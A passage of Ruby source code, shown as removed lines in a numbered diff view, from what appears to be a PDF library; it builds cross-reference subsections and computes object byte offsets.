|
223
|
-
xrefsection << XRef::Subsection.new(brange, xrefs)
|
224
|
-
brange = object.no
|
225
|
-
xrefs.clear
|
226
|
-
end
|
227
|
-
|
228
|
-
xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED)
|
229
|
-
|
230
|
-
lastno = object.no
|
231
|
-
}
|
232
|
-
|
233
|
-
xrefsection << XRef::Subsection.new(brange, xrefs)
|
234
|
-
|
235
|
-
xrefsection
|
236
|
-
end
|
237
|
-
|
238
|
-
def get_object_offset(no,generation) #:nodoc:
|
239
|
-
|
240
|
-
bodyoffset = @header.to_s.size
|
241
|
-
|
242
|
-
objectoffset = bodyoffset
|
243
|
-
|
244
|
-
@revisions.first.body.values.each { |object|
|
245
|
-
if object.no == no and object.generation == generation then return objectoffset
|
246
|
-
else
|
247
|
-
objectoffset += object.to_s.size
|
248
|
-
end
|
249
|
-
}
|
250
|
-
|
251
|
-
nil
|
252
|
-
end
|
253
|
-
|
254
|
-
end
|
255
|
-
|
256
|
-
end
|
257
|
-
|
258
|
-
end
|
259
|
-
|